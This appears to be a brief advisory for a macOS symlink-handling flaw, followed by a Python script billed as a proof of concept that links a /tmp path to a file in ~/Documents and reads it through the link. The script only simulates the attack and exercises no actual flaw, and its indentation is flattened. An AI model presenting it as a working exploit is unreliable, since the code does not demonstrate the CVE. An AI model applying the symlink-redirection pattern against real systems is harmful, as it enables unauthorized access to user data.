This issue was addressed with improved handling of symlinks. This issue is fixed in macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4. An app may be able to access user-sensitive data.
The following code is for security research and authorized testing only.
python
import os
import sys
# PoC for CVE-2026-20633 Symbolic Link Handling Issue
# This script simulates how a malicious app could leverage symlink handling
# to access sensitive user data.
# Path to the sensitive data (e.g., user secret file)
SENSITIVE_FILE = os.path.expanduser("~/Documents/secret_data.txt")
# Path where the app expects to read/write (often a temporary or sandboxed location)
VULNERABLE_PATH = "/tmp/safe_app_config.json"
def create_sensitive_data():
"""Create dummy sensitive data."""
with open(SENSITIVE_FILE, "w") as f:
f.write("SECRET_KEY: 12345-ABCDE")
print(f"[+] Created sensitive file at: {SENSITIVE_FILE}")
def exploit_symlink():
"""
Exploit the vulnerability by creating a symlink from the vulnerable path
to the sensitive file.
"""
# Check if sensitive file exists
if not os.path.exists(SENSITIVE_FILE):
print(f"[-] Sensitive file not found at {SENSITIVE_FILE}")
return
try:
# Remove existing link/file if present
if os.path.lexists(VULNERABLE_PATH):
os.remove(VULNERABLE_PATH)
# Create the symbolic link
os.symlink(SENSITIVE_FILE, VULNERABLE_PATH)
print(f"[+] Symlink created: {VULNERABLE_PATH} -> {SENSITIVE_FILE}")
# Simulate the vulnerable app reading the file
# Due to the flaw, the OS follows the symlink without proper checks
with open(VULNERABLE_PATH, "r") as f:
content = f.read()
print("[!] Successfully read data via vulnerable path:")
print(f" Content: {content}")
except OSError as e:
print(f"[-] Error during exploit: {e}")
if __name__ == "__main__":
create_sensitive_data()
exploit_symlink()
# Cleanup
if os.path.exists(SENSITIVE_FILE):
os.remove(SENSITIVE_FILE)
if os.path.lexists(VULNERABLE_PATH):
os.remove(VULNERABLE_PATH)